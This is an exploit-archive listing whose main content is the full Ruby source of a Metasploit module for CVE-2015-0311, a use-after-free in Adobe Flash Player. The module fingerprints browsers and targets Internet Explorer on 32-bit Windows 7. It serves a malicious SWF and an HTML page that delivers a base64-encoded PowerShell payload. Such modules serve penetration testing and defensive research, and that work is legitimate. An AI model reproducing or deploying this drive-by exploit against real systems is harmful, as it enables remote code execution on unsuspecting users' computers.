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Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free

Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free
Posted Mar 12, 2015
Authored by juan vazquez, temp66, hdarwin | Site metasploit.com

This Metasploit module exploits an use after free vulnerability in Adobe Flash Player. The vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying to uncompress() a malformed byte stream. This Metasploit module has been tested successfully on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and 16.0.0.235.

tags | exploit
systems | windows, 7
advisories | CVE-2015-0311
MD5 | 55a381eaeb0b9b7028403d0c1e0e78c3

Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free',
'Description' => %q{
This module exploits an use after free vulnerability in Adobe Flash Player. The
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying
to uncompress() a malformed byte stream. This module has been tested successfully
on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and
16.0.0.235.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'hdarwin', # Public exploit by @hdarwin89
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-0311'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-01.html'],
['URL', 'http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/'],
['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^16\./ && ver <= '16.0.0.287' },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Apr 28 2014',
'DefaultTarget' => 0))
end

def exploit
@swf = create_swf
super
end

def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")

if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end

print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end

def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)

html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|

return html_template, binding()
end

def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0311', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }

swf
end

end

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